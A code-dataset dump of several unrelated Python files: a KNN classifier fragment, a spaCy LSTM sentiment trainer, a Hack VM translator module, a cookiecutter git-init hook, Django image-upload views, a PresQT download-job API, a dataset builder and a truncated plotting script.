#从文件读取做单个测试\n # vectorUnderTest = img2vector('./data/testDigits/9_66.txt')\n # classifierResult = classify0(vectorUnderTest,trainingMat,hwLabels,3)\n # print(\"the classifier came back with: \"+str(classifierResult))\n\nif __name__ == '__main__':\n\n handwritingClassTest()","sub_path":"code/KNN/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":5012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"311196578","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\"\"\"\nUsing LSTM Deep Learning for Sentiment Analysis for Movie Reviews\nusing SpaCy and Keras\n\"\"\"\n\nimport plac\nimport random\nimport pathlib\nimport cytoolz\nimport numpy\nfrom keras.models import Sequential, model_from_json\nfrom keras.layers import LSTM, Dense, Embedding, Bidirectional\nfrom keras.layers import TimeDistributed\nfrom keras.optimizers import Adam\nimport thinc.extra.datasets\nfrom spacy.compat import pickle\nimport spacy\n\n\n\n\nclass SentimentAnalyser(object):\n \"\"\"\n This class is for loading the NLP model that\n is saved in the model directory\n \"\"\"\n def __init__(self, model, max_length=100):\n self._model = model\n self.max_length = max_length\n def __call__(self, doc):\n X = get_features([doc], self.max_length)\n y = self._model.predict(X)\n self.set_sentiment(doc, y)\n @classmethod\n def load(cls, path, nlp, max_length=100):\n with (path / 'config.json').open() as file_:\n model = model_from_json(file_.read())\n with (path / 'model').open('rb') as file_:\n lstm_weights = pickle.load(file_)\n embeddings = get_embeddings(nlp.vocab)\n model.set_weights([embeddings] + lstm_weights)\n return cls(model, max_length=max_length)\n def set_sentiment(self, doc, y):\n doc.sentiment = float(y[0])\n # Sentiment has a native slot for a single float.\n # For arbitrary data storage, there's:\n # doc.user_data['my_data'] = y\n def pipe(self, docs, batch_size=1000, n_threads=2):\n for minibatch in cytoolz.partition_all(batch_size, docs):\n minibatch = list(minibatch)\n sentences = []\n for doc in minibatch:\n sentences.extend(doc.sents)\n Xs = get_features(sentences, self.max_length)\n ys = self._model.predict(Xs)\n for sent, label in zip(sentences, ys):\n sent.doc.sentiment += label - 0.5\n for doc in minibatch:\n yield doc\n\n\ndef get_labelled_sentences(docs, doc_labels):\n labels = []\n sentences = []\n for doc, y in zip(docs, doc_labels):\n for sent in doc.sents:\n sentences.append(sent)\n labels.append(y)\n return sentences, numpy.asarray(labels, dtype='int32')\n\n\ndef get_features(docs, max_length):\n\n \"\"\"Get the matrix of doc into the feature matrix of length\n \"\"\"\n docs = list(docs)\n Xs = numpy.zeros((len(docs), max_length), dtype='int32')\n for i, doc in enumerate(docs):\n j = 0\n for token in doc:\n vector_id = token.vocab.vectors.find(key=token.orth)\n if vector_id >= 0:\n Xs[i, j] = vector_id\n else:\n Xs[i, j] = 0\n j += 1\n if j >= max_length:\n break\n return Xs\n\n\ndef get_embeddings(vocab):\n return vocab.vectors.data\n\n\ndef compile_lstm(embeddings, shape, settings):\n model = Sequential()\n model.add(\n Embedding(\n embeddings.shape[0],\n embeddings.shape[1],\n input_length=shape['max_length'],\n trainable=False,\n weights=[embeddings],\n mask_zero=True\n )\n )\n model.add(TimeDistributed(Dense(shape['nr_hidden'], use_bias=False)))\n model.add(Bidirectional(LSTM(shape['nr_hidden'],\n recurrent_dropout=settings['dropout'],\n dropout=settings['dropout'])))\n model.add(Dense(shape['nr_class'], activation='sigmoid'))\n model.compile(optimizer=Adam(lr=settings['lr']), loss='binary_crossentropy',\n metrics=['accuracy'])\n return model\n\n\ndef train(train_texts, train_labels, dev_texts, dev_labels,\n lstm_shape, lstm_settings, lstm_optimizer, batch_size=100,\n nb_epoch=5, by_sentence=True):\n print(\"Loading spaCy\")\n nlp = spacy.load('en_vectors_web_lg')\n nlp.add_pipe(nlp.create_pipe('sentencizer'))\n embeddings = get_embeddings(nlp.vocab)\n model = compile_lstm(embeddings, lstm_shape, lstm_settings)\n print(\"Parsing texts...\")\n train_docs = list(nlp.pipe(train_texts)) # convert list of texts to spacy.tokens.doc.Doc class\n dev_docs = list(nlp.pipe(dev_texts))\n if by_sentence:\n train_docs, train_labels = get_labelled_sentences(train_docs, train_labels)\n ## split each doc into sentences and labels for each sentence\n dev_docs, dev_labels = get_labelled_sentences(dev_docs, dev_labels)\n train_X = get_features(train_docs, lstm_shape['max_length'])\n dev_X = get_features(dev_docs, lstm_shape['max_length'])\n model.fit(train_X, train_labels, validation_data=(dev_X, dev_labels),\n epochs=nb_epoch, batch_size=batch_size)\n return model\n\n\ndef evaluate(model_dir, texts, labels, max_length=100):\n nlp = spacy.load('en_vectors_web_lg')\n nlp.add_pipe(nlp.create_pipe('sentencizer'))\n nlp.add_pipe(SentimentAnalyser.load(model_dir, nlp, max_length=max_length))\n\n correct = 0\n i = 0\n for doc in nlp.pipe(texts, batch_size=1000, n_threads=4):\n correct += bool(doc.sentiment >= 0.5) == bool(labels[i])\n i += 1\n return float(correct) / i\n\n\ndef read_data(data_dir, limit=0):\n # iterate through the folder\n examples = []\n for subdir, label in (('pos', 1), ('neg', 0)):\n for filename in (data_dir / subdir).iterdir(): # this is based on pathlib\n with filename.open() as file_:\n text = file_.read()\n examples.append((text, label))\n random.shuffle(examples)\n if limit >= 1: examples = examples[:limit] # set limit of texts\n return zip(*examples) # Unzips into two lists\n\n\n\n\n############################## MAIN PROCEDURE FUNCTION ##############################\n# if __name__ == \"__main__\":\n\n# Example is from https://github.com/explosion/spaCy/tree/master/examples\n# Command line to install spacy models\n# python -m spacy download en\n# python -m spacy download en_vectors_web_lg\n\n\nmodel_dir = \"/Users/mpeng/Desktop/spacymodels\"\ntrain_dir = \"/Users/mpeng/Desktop/spacymodels\"\ndev_dir = \"/Users/mpeng/Desktop/spacymodels\"\nis_runtime = True\n# Neural network parameters\nnr_hidden=64; max_length=100 # Shape\ndropout=0.5; learn_rate=0.001 # General NN config\nnb_epoch=5; batch_size=256; nr_examples=-1\n\nif model_dir is not None:\n model_dir = pathlib.Path(model_dir)\n#if train_dir is None or dev_dir is None:\nimdb_data = thinc.extra.datasets.imdb() #load in the imdb movie database\n# IMDB data is movie user revies. It's tuple of two tuples\n # first tuple is the list of tuples of (review, 1/0 label), used for training\n # the second tuple is the list of tuples of (review, 1/0 label) for validation\n\n# Validation data dev_texts and labels\ndev_texts, dev_labels = zip(*imdb_data[1])\n# Train texts and train labels\ntrain_texts, train_labels = zip(*imdb_data[0])\n# train_texts, train_labels = read_data(train_dir, limit=nr_examples) for loading the data from folder, not online\ndev_texts, dev_labels = zip(*imdb_data[1])\ntrain_labels = numpy.asarray(train_labels, dtype='int32')\ndev_labels = numpy.asarray(dev_labels, dtype='int32')\nlstm = train(train_texts, train_labels, dev_texts, dev_labels,\n lstm_shape={'nr_hidden': nr_hidden, 'max_length': max_length, 'nr_class': 1},\n lstm_settings={'dropout': dropout, 'lr': learn_rate},\n lstm_optimizer={},\n nb_epoch=nb_epoch, batch_size=batch_size)\nweights = lstm.get_weights()\nif model_dir is not None:\n with (model_dir / 'model').open('wb') as file_:\n pickle.dump(weights[1:], file_)\n with (model_dir / 'config.json').open('w') as file_:\n file_.write(lstm.to_json())\n\n# This is to load in NLP model and evaluate the model performance on the validation\n# texts dev_texts\nacc = evaluate(model_dir, dev_texts, dev_labels, max_length=max_length)\nprint(acc)\n\n","sub_path":"SpaCy_sentiment analysis_by_LSTM_example_201810.py","file_name":"SpaCy_sentiment analysis_by_LSTM_example_201810.py","file_ext":"py","file_size_in_byte":7904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"6222685","text":"from helpers import load_stack_head_to_D, push_D_to_stack\nfrom program_flow import goto_handler, label_handler\n\nlabel_counter = 0\n\n\ndef function_handler(function_name, num_locals):\n initialize_locals = ''\n for local in range(int(num_locals)):\n initialize_locals += _push_constant_to_stack(0)\n initialize_locals += _from_stack_to_memory_transporter('LCL',\n str(local))\n\n return ('// declare {} with locals {}'.format(function_name, num_locals) +\n label_handler(function_name) +\n initialize_locals)\n\n\ndef call_handler(function_name, num_args):\n global label_counter\n continuation_address = 'continuation_{}_{}'.format(function_name,\n label_counter)\n label_counter += 1\n return ('// call fn {} with locals {}\\n'.format(function_name, num_args) +\n '@{}\\n'.format(continuation_address) +\n 'D=A\\n' +\n push_D_to_stack() + # Store return address (caller) in stack\n '@LCL\\n' +\n 'D=M\\n' +\n push_D_to_stack() + # Store LCL address (caller) in stack\n '@ARG\\n' +\n 'D=M\\n' +\n push_D_to_stack() + # Store ARG address (caller) in stack\n '@THIS\\n' +\n 'D=M\\n' +\n push_D_to_stack() + # Store THIS address (caller) in stack\n '@THAT\\n' +\n 'D=M\\n' +\n push_D_to_stack() + # Store THAT address (caller) in stack\n '@SP\\n' +\n 'D=M\\n' +\n '@5\\n' +\n 'D=D-A\\n' +\n '@{}\\n'.format(num_args) +\n 'D=D-A\\n' +\n '@ARG\\n' + # NOQA Set current ARG address to stack head -5 (state of caller) - num_args (prev pushed to stack)\n 'M=D\\n' +\n '@SP\\n' +\n 'D=M\\n' +\n '@LCL\\n' +\n 'M=D\\n' + # Set current LCL address to stack head\n goto_handler(function_name) +\n label_handler(continuation_address)\n )\n\n\ndef return_handler():\n frame_address_pointer = 'R13' # NOQA temp address used to store the base frame address\n continue_address_pointer = 'R14' # NOQA temp address used to store the address of\n return ('// return\\n'\n '@LCL\\n'\n 'D=M\\n'\n '@{}\\n'.format(frame_address_pointer) +\n 'M=D\\n' # NOQA Store in frame_address_pointer (temp) the value of LCL (head of stack at beginning of call execution)\n '@5\\n'\n 'D=D-A\\n' # D now holds the address of return pointer\n 'A=D\\n'\n 'D=M\\n'\n '@{}\\n'.format(continue_address_pointer) +\n 'M=D\\n' + # NOQA Store continuation_address in continue_address_pointer (return address was previously set in call_handler)\n load_stack_head_to_D() +\n '@ARG\\n'\n 'A=M\\n'\n 'M=D\\n' # Set ARG [0] to return value of function\n 'D=A+1\\n' # Next stack head should be the value of ARG[0] + 1\n '@SP\\n'\n 'M=D\\n' # NOQA Set stack head to point to one address above where we store the returned value\n '@{}\\n'.format(frame_address_pointer) +\n 'A=M-1\\n'\n 'D=M\\n'\n '@THAT\\n'\n 'M=D\\n' # Set the caller's THAT to its previous value\n '@2\\n'\n 'D=A\\n'\n '@{}\\n'.format(frame_address_pointer) +\n 'D=M-D\\n'\n 'A=D\\n'\n 'D=M\\n'\n '@THIS\\n'\n 'M=D\\n' # Set the caller's THIS to its previous value\n '@3\\n'\n 'D=A\\n'\n '@{}\\n'.format(frame_address_pointer) +\n 'D=M-D\\n'\n 'A=D\\n'\n 'D=M\\n'\n '@ARG\\n'\n 'M=D\\n' # Set the caller's ARG to its previous value\n '@4\\n'\n 'D=A\\n'\n '@{}\\n'.format(frame_address_pointer) +\n 'D=M-D\\n'\n 'A=D\\n'\n 'D=M\\n'\n '@LCL\\n'\n 'M=D\\n' # Set the caller's LCL to its previous value\n '@{}\\n'.format(continue_address_pointer) +\n 'A=M\\n' # Load the return address to continue executing caller\n '0;JMP\\n'\n )\n","sub_path":"Projects/07/VMTranslator/subroutine.py","file_name":"subroutine.py","file_ext":"py","file_size_in_byte":4248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"327083001","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Copyright (c) 2017 - 2019 Karlsruhe Institute of Technology - Steinbuch Centre for Computing\n# This code is distributed under the MIT License\n# Please, see the LICENSE file\n\n\"\"\" \n Post-hook script\n Moves DEEP-OC-{{ cookiecutter.repo_name }} directory one level up.\n Initialized Git repositories\n Creates 'test' branch\n Switches back to 'master'\n\"\"\"\nimport os\nimport re\nimport shutil\nimport subprocess as subp\nimport sys\n\nREPO_REGEX = r'^[a-z][_a-z0-9]+$'\n\nrepo_name = '{{ cookiecutter.repo_name }}'\ndeep_oc = 'DEEP-OC-{{ cookiecutter.repo_name }}'\ndeep_oc_dir = os.path.join(\"../\", deep_oc)\nsrc = os.path.join(\"../\", repo_name, deep_oc)\n\nif not re.match(REPO_REGEX, repo_name):\n print(\"\")\n print(\"[ERROR]: %s is not a valid Python package name!\" % repo_name)\n print(\" Please, use low case and no dashes!\")\n\n # exits with status 1 to indicate failure\n sys.exit(1)\n\n\ndef git_ini(repo):\n \"\"\" Function\n Initializes Git repository\n \"\"\"\n gitrepo = ('{{ cookiecutter.git_base_url }}'.rstrip('/')\n + \"/\" + repo + '.git')\n try:\n os.chdir(\"../\" + repo)\n subp.call([\"git\", \"init\"])\n subp.call([\"git\", \"add\", \".\"])\n subp.call([\"git\", \"commit\", \"-m\", \"initial commit\"])\n subp.call([\"git\", \"remote\", \"add\", \"origin\", gitrepo])\n\n # create test branch automatically\n subp.call([\"git\", \"checkout\", \"-b\", \"test\"])\n # adjust [Build Status] for the test branch\n readme_content=[]\n with open(\"README.md\") as f_old:\n for line in f_old:\n if \"[![Build Status]\" in line:\n line = line.replace(\"/master)\", \"/test)\")\n readme_content.append(line)\n\n with open(\"README.md\", \"w\") as f_new:\n for line in readme_content:\n f_new.write(line)\n\n subp.call([\"git\", \"commit\", \"-a\", \"-m\", \"update README.md for the BuildStatus\"])\n\n # switch back to master\n subp.call([\"git\", \"checkout\", \"master\"])\n except OSError as os_error:\n sys.stdout.write('[Error] Creating git repository failed for ' + repo + \" !\")\n sys.stdout.write('[Error] {} '.format(os_error))\n return \"Error\"\n else:\n return gitrepo\n\n\ntry:\n # move DEEP-OC-{{ cookiecutter.repo_name }} one level up\n shutil.move(src, deep_oc_dir)\n\n # initialized both git repositories\n git_user_app = git_ini(repo_name)\n git_deep_oc = git_ini(deep_oc)\n\n if \"Error\" not in git_user_app and \"Error\" not in git_deep_oc:\n print()\n print(\"[Info] {} was created successfully,\".format(repo_name))\n print(\" Don't forget to create corresponding remote repository: {}\".format(git_user_app))\n print(\" then you can do 'git push origin --all'\")\n print()\n print(\"[Info] {} was created successfully,\".format(deep_oc))\n print(\" Don't forget to create corresponding remote repository: {}\".format(git_deep_oc))\n print(\" then you can do 'git push origin --all'\")\n\n sys.exit(0)\nexcept OSError as os_error:\n sys.stdout.write(\n 'While attempting to move '+ src +' and create git \\\n repository an error occurred! '\n )\n sys.stdout.write('Error! {} '.format(os_error))\n","sub_path":"hooks/post_gen_project.py","file_name":"post_gen_project.py","file_ext":"py","file_size_in_byte":3313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"407705900","text":"# -*- coding: utf-8 -*-\nfrom django.shortcuts import get_object_or_404, render\nfrom django.http import HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\n\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom myproject.myapp.models import Document\nfrom myproject.myapp.models import User\nfrom myproject.myapp.forms import DocumentForm\n\nfrom myproject.myapp.image import image\nfrom myproject.myapp.pipeline import pipeline\n\nfrom PIL import Image\nfrom datetime import datetime\nimport io\nfrom django.core.files.uploadedfile import InMemoryUploadedFile\n\n\ndef new_guid(request):\n user = User()\n user.name = 'New User'\n user.save()\n # request.session['guid_id'] = user.pk\n return HttpResponseRedirect(reverse('gallery',\n kwargs={'guid_id': user.pk}))\n\n\n@csrf_exempt\ndef upload(request, guid_id):\n\n user = get_object_or_404(User, pk=guid_id)\n # Handle file upload\n if request.method == 'POST':\n form = DocumentForm(request.POST, request.FILES)\n if form.is_valid():\n orig_file = request.FILES['docfile']\n orig_image = Image.open(orig_file)\n point = image(image=orig_image, reduce_factor=2)\n # point.plotRecPoints(n=40, multiplier=1, fill=False)\n # point.plotRandomPointsComplexity(n=2e4, constant=0.01, power=1.3)\n point.resize(ratio=0, min_size=2200)\n detail = request.POST['detail']\n colormap = request.POST['colormap']\n enhancement = request.POST['enhancement']\n if colormap != \"none\":\n point.colormap(colormap)\n point.enhance('contrast', 1.3)\n if enhancement != \"none\":\n if enhancement == 'contrast1':\n point.enhance('contrast', 1.3)\n elif enhancement == 'contrast2':\n point.enhance('contrast', 2)\n elif enhancement == 'color1':\n point.enhance('color', 1.3)\n elif enhancement == 'color2':\n point.enhance('color', 2)\n elif enhancement == 'both1':\n point.enhance('color', 1.3)\n point.enhance('contrast', 1.3)\n elif enhancement == 'both2':\n point.enhance('color', 2)\n point.enhance('contrast', 2)\n point.make(detail)\n new_stringIO = io.BytesIO()\n point.out.convert('RGB').save(new_stringIO,\n orig_file.content_type.split('/')\n [-1].upper())\n datestamp = datetime.strftime(datetime.now(), '%Y%m%d%H%M')\n new_file = InMemoryUploadedFile(new_stringIO,\n u\"docfile\", # change this?\n (orig_file.name.split('.')[0] +\n ' ' + detail +\n ' ' + colormap +\n ' ' + enhancement +\n ' ' + datestamp +\n ' pointillized.jpg'),\n orig_file.content_type,\n None,\n None)\n newdoc = user.document_set.create(docfile=new_file)\n newdoc.save()\n origdoc = user.document_set.create(docfile=orig_file)\n origdoc.save()\n\n # Redirect to the document upload page after POST\n return HttpResponseRedirect(reverse('upload',\n kwargs={'guid_id': user.pk}))\n else:\n form = DocumentForm() # A empty, unbound form\n\n # Load documents for the upload page\n all_documents = user.document_set.order_by(\"-id\")\n documents = []\n for document in all_documents:\n if document.docfile.name[-16:] == 'pointillized.jpg':\n documents.append(document)\n\n # Render upload page with the documents and the form\n return render(\n request,\n 'upload.html',\n {'documents': documents, 'form': form, 'guid_id': user.pk}\n )\n\n\ndef gallery(request, guid_id):\n\n all_documents = Document.objects.order_by(\"-id\")\n documents = []\n for document in all_documents:\n if ((document.docfile.name[-16:] == 'pointillized.jpg') & (document.gallery)):\n documents.append(document)\n\n return render(request, 'gallery.html', {'documents': documents,\n 'guid_id': guid_id})\n\n\ndef info(request, guid_id):\n\n return render(request, 'info.html', {'guid_id': guid_id})\n\n\n@csrf_exempt\ndef gif(request, guid_id):\n\n user = get_object_or_404(User, pk=guid_id)\n # Handle file upload\n if request.method == 'POST':\n form = DocumentForm(request.POST, request.FILES)\n if form.is_valid():\n orig_file = request.FILES['docfile']\n orig_image = Image.open(orig_file)\n point = pipeline(image=orig_image, reduce_factor=2,\n border=0, queue=True)\n point.resize(0, 550)\n point.make('balanced')\n multipliers = [5, 4.5, 4, 3.5, 3, 2.6, 2.3, 2, 1.75,\n 1.5, 1.25, 1.1, 1, 1]\n multipliers.reverse()\n point.build_multipliers(multipliers, reverse=True)\n # point.save_gif('temp/' + guid_id + '_pointqueue.gif', 0.1)\n new_gif_IO = io.BytesIO()\n point.save_gif(direct=new_gif_IO, step_duration=0.1)\n new_file = InMemoryUploadedFile(new_gif_IO,\n u\"docfile\", # change this?\n (orig_file.name.split('.')[0] +\n ' pointillized.gif'),\n 'image/gif',\n None,\n None)\n newdoc = user.document_set.create(docfile=new_file)\n newdoc.save()\n origdoc = user.document_set.create(docfile=orig_file)\n origdoc.save()\n # os.remove('temp/' + guid_id + '_pointqueue.gif')\n\n # Redirect to the document upload page after POST\n return HttpResponseRedirect(reverse('gif',\n kwargs={'guid_id': user.pk}))\n else:\n form = DocumentForm() # A empty, unbound form\n\n # Load documents for the upload page\n all_documents = user.document_set.order_by(\"-id\")\n documents = []\n for document in all_documents:\n if (document.docfile.name[-16:] == 'pointillized.gif'):\n documents.append(document)\n\n # Render upload page with the documents and the form\n return render(\n request,\n 'upload_to_gif.html',\n {'documents': documents, 'form': form, 'guid_id': user.pk}\n )\n","sub_path":"pointillizer.com/myproject/myproject/myapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"169580286","text":"class Food:\n def __init__(self, name, price):\n self.name = name\n self.price = price\n\n def describe(self):\n print(self.name + ' price is ' + str(self.price))\n\n def discount(self, rate):\n \"\"\"\n Function to subtract\n Leave the amount after the discount\n \"\"\"\n t = self.price * ((100 - rate) / 100)\n return int(t)\n\nf1 = Food('Ramen', 800)\nf1.describe()\nprint(f1.discount(10))\n\nf2 = Food('UronTee', 150)\nf2.describe()\nprint(f2.discount(20))","sub_path":"object_oriented/self2.py","file_name":"self2.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"77077970","text":"import json\nimport multiprocessing\nimport os\n\nfrom django.http import HttpResponse\nfrom dateutil.relativedelta import relativedelta\nfrom django.utils import timezone\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom presqt.api_v1.utilities import (get_source_token, get_process_info_data,\n process_token_validation, hash_tokens)\nfrom presqt.utilities import PresQTValidationError, write_file\n\n\nclass DownloadJob(APIView):\n \"\"\"\n **Supported HTTP Methods**\n\n * GET:\n - Check if a resource download is finished on the server matching the ticket number.\n If the download is pending, failed, or the response_format is 'json' then return a JSON\n representation of the state. Otherwise return the file contents.\n * PATCH:\n - Cancel the resource download process on the server.\n\n \"\"\"\n\n def get(self, request, ticket_number, response_format=None):\n \"\"\"\n Check in on the resource's download process state.\n\n Parameters\n ----------\n ticket_number : str\n The ticket number of the download being prepared.\n response_format: str\n The type of response to return. Either json or zip\n\n Returns\n -------\n 200: OK\n Returns the zip of resources to be downloaded.\n or\n {\n \"status_code\": \"200\",\n \"message\": \"Download successful but with fixity errors.\",\n \"failed_fixity\": [\"/Character Sheet - Alternative - Print Version.pdf\"]\n }\n\n 202: Accepted\n {\n \"status_code\": null,\n \"message\": \"Download is being processed on the server\"\n }\n\n 400: Bad Request\n {\n \"error\": \"PresQT Error: 'presqt-source-token' missing in the request headers.\"\n }\n or\n {\n \"error\": \"PresQT Error: 'csv' is not a valid format for this endpoint.\"\n }\n\n 401: Unauthorized\n {\n \"error\": \"PresQT Error: Header 'presqt-source-token' does not match the\n 'presqt-source-token' for this server process.\"\n }\n\n 404: Not Found\n {\n \"error\": \"PresQT Error: Invalid ticket number, '1234'.\"\n }\n\n 500: Internal Server Error\n {\n \"status_code\": \"404\",\n \"message\": \"Resource with id 'bad_id' not found for this user.\"\n }\n \"\"\"\n # Perform token validation. Read data from the process_info file.\n try:\n token = get_source_token(request)\n data = get_process_info_data('downloads', ticket_number)\n process_token_validation(hash_tokens(token), data, 'presqt-source-token')\n except PresQTValidationError as e:\n return Response(data={'error': e.data}, status=e.status_code)\n\n # Verify that the only acceptable response format was provided\n if response_format and response_format not in ['json', 'zip']:\n return Response(\n data={'error': 'PresQT Error: {} is not a valid format for this endpoint.'.format(\n response_format)},\n status=status.HTTP_400_BAD_REQUEST)\n\n download_status = data['status']\n message = data['message']\n status_code = data['status_code']\n\n # Return the file to download if it has finished.\n if download_status == 'finished':\n if response_format == 'zip':\n # Path to the file to be downloaded\n zip_name = data['zip_name']\n zip_file_path = os.path.join('mediafiles', 'downloads', ticket_number, zip_name)\n\n response = HttpResponse(open(zip_file_path, 'rb'), content_type='application/zip')\n response['Content-Disposition'] = 'attachment; filename={}'.format(zip_name)\n else:\n response = Response(data={'status_code': status_code,\n 'message': message,\n 'zip_name': data['zip_name'],\n 'failed_fixity': data['failed_fixity']},\n status=status.HTTP_200_OK)\n return response\n else:\n if download_status == 'in_progress':\n http_status = status.HTTP_202_ACCEPTED\n else:\n http_status = status.HTTP_500_INTERNAL_SERVER_ERROR\n\n return Response(status=http_status,\n data={'status_code': status_code, 'message': message})\n\n def patch(self, request, ticket_number, response_format=None):\n \"\"\"\n Cancel the resource download process on the server. Update the process_info.json\n file appropriately.\n\n Parameters\n ----------\n ticket_number : str\n The ticket number of the download being prepared.\n response_format: str\n For patch, response_format should be JSON or None\n\n Returns\n -------\n 200: OK\n {\n \"status_code\": \"499\",\n \"message\": \"Download was cancelled by the user\"\n }\n\n 400: Bad Request\n {\n \"error\": \"PresQT Error: 'presqt-source-token' missing in the request headers.\"\n }\n or\n {\n \"error\": \"PresQT Error: 'zip' is not a valid format for this endpoint.\"\n }\n\n\n 401: Unauthorized\n {\n \"error\": \"PresQT Error: Header 'presqt-source-token' does not match the\n 'presqt-source-token' for this server process.\"\n }\n\n 404: Not Found\n {\n \"error\": \"PresQT Error: Invalid ticket number, '1234'.\"\n }\n\n 406: Not Acceptable\n {\n \"status_code\": \"200\",\n \"message\": \"Download Successful\"\n }\n \"\"\"\n # Perform token validation. Read data from the process_info file.\n try:\n token = get_source_token(request)\n data = get_process_info_data('downloads', ticket_number)\n process_token_validation(hash_tokens(token), data, 'presqt-source-token')\n except PresQTValidationError as e:\n return Response(data={'error': e.data}, status=e.status_code)\n\n # Verify that the only acceptable response format was provided\n if response_format and response_format != 'json':\n return Response(\n data={'error': 'PresQT Error: {} is not a valid format for this endpoint.'.format(\n response_format)},\n status=status.HTTP_400_BAD_REQUEST)\n\n # Wait until the spawned off process has started to cancel the download\n while data['function_process_id'] is None:\n try:\n data = get_process_info_data('downloads', ticket_number)\n except json.decoder.JSONDecodeError:\n # Pass while the process_info file is being written to\n pass\n\n # If download is still in progress then cancel the subprocess\n if data['status'] == 'in_progress':\n for process in multiprocessing.active_children():\n if process.pid == data['function_process_id']:\n process.kill()\n process.join()\n data['status'] = 'failed'\n data['message'] = 'Download was cancelled by the user'\n data['status_code'] = '499'\n data['expiration'] = str(timezone.now() + relativedelta(hours=1))\n process_info_path = 'mediafiles/downloads/{}/process_info.json'.format(\n ticket_number)\n write_file(process_info_path, data, True)\n\n return Response(\n data={'status_code': data['status_code'], 'message': data['message']},\n status=status.HTTP_200_OK)\n # If download is finished then don't attempt to cancel subprocess\n else:\n return Response(\n data={'status_code': data['status_code'], 'message': data['message']},\n status=status.HTTP_406_NOT_ACCEPTABLE)\n","sub_path":"presqt/api_v1/views/download/download_job.py","file_name":"download_job.py","file_ext":"py","file_size_in_byte":8223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"191035637","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n#####################################\n# File name : dataset.py\n# Create date : 2020-05-20 13:22\n# Modified date : 2020-05-23 23:13\n# Author : DARREN\n# Describe : not set\n# Email : lzygzh@126.com\n#####################################\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport etc\nimport pretrained_embedding\nfrom collections import Counter\n\ndef write_file(wordlist, filepath):\n '''保存字���文件'''\n with open(filepath, 'w+') as f:\n f.write('\\n'.join(wordlist))\n\ndef write_vocabs_file(vocabs, vocab_file_path):\n write_file(list(vocabs), vocab_file_path)\n\ndef build_data(train_file_path, class_dict):\n '''构造数据集'''\n sample_y = []\n sample_x_left = []\n sample_x_right = []\n vocabs = {'UNK'}\n count = 0\n for line in open(train_file_path):\n line = line.rstrip().split('\\t')\n if not line or len(line)<3:\n continue\n sent_left = line[0]\n sent_right = line[1]\n label = line[2]\n if label not in class_dict:\n continue\n sample_x_left.append([char for char in sent_left if char])\n sample_x_right.append([char for char in sent_right if char])\n sample_y.append(label)\n for char in [char for char in sent_left + sent_right if char]:\n vocabs.add(char)\n count += 1\n if count%10000 == 0:\n print(count)\n print(len(sample_x_left), len(sample_x_right))\n sample_x = [sample_x_left, sample_x_right]\n datas = [sample_x, sample_y]\n word_dict = {wd:index for index, wd in enumerate(list(vocabs))}\n return datas, word_dict, vocabs\n\ndef select_best_length(train_file_path, limit_rate):\n '''根据样本长度,选择最佳的样本max-length'''\n len_list = []\n max_length = 0\n cover_rate = 0.0\n sent_list = set()\n for line in open(train_file_path):\n line = line.strip().split('\\t')\n if len(line) < 3:\n continue\n sent1 = line[0]\n sent2 = line[1]\n sent_list.add(sent1)\n sent_list.add(sent2)\n\n for sent in sent_list:\n sent_len = len(sent)\n len_list.append(sent_len)\n all_sent = len(len_list)\n sum_length = 0\n len_dict = Counter(len_list).most_common()\n for i in len_dict:\n sum_length += i[1] * i[0]\n average_length = sum_length / all_sent\n for i in len_dict:\n rate = i[1] / all_sent\n cover_rate += rate\n #if cover_rate >= self.LIMIT_RATE:\n if cover_rate >= limit_rate:\n max_length = i[0]\n break\n print('average_length:', average_length)\n print('max_length:', max_length)\n return max_length\n","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"551152424","text":"\nimport matplotlib.pyplot as plt\nfrom loop_folder import get_train_errors, get_test_errors, get_min_train_errors, get_min_test_errors\n\n'''\nto get the data as a list, we can call the fucntions below:\nget_train_errors(filenames_meta, files_nb)\nget_test_errors(filenames_meta, files_nb)\nget_min_train_errors(filenames_other, files_nb)\nget_min_test_errors(filenames_other, files_nb)\n\nfilenames_meta/filenames_other is the address of the files:\nexample:\nfilenames_meta = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp2_tower_mdl/mdl_random_mdl_{}/meta_data.yml'\nfilenames_other = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp2_tower_mdl/mdl_random_mdl_{}/other_data.yml'\n\nget_train_errors() and get_test_errors() need the file ending with meta_data.yml.\nget_min_train_errors() and get_min_test_errors() need the file ending with other_data.yml.\n\nfiles_nb: the number of files for loop, usual the number in the folder name.\n\n'''\n\n\ndef get_difference(test_errors,train_errors):\n '''\n The fucntion to get the diffrences of test_errors and train_errors.\n '''\n differnce_list = []\n for i in range(len(test_errors)):\n differnce_list.append(test_errors[i] - train_errors[i])\n return differnce_list\n\n\n'''\nwhere you get the data that you want to plot, ususal the list\nTake advatange of fucntions in the loop_folder to:\nexample:\n train_errors = get_train_errors(filenames_meta,files_nb)\n test_errors = get_test_errors(filenames_meta, files_nb)\n min_train_errors = get_min_train_errors(filenames_other, files_nb)\n min_test_errors = get_min_test_errors(filenames_other, files_nb)\n differences = get_difference(test_errors,train_errors)\n differences_of_min = get_difference(min_test_errors,min_train_errors)\n'''\n\n#group10 and Grp9 are conv tower\nfilenames_meta_10 = 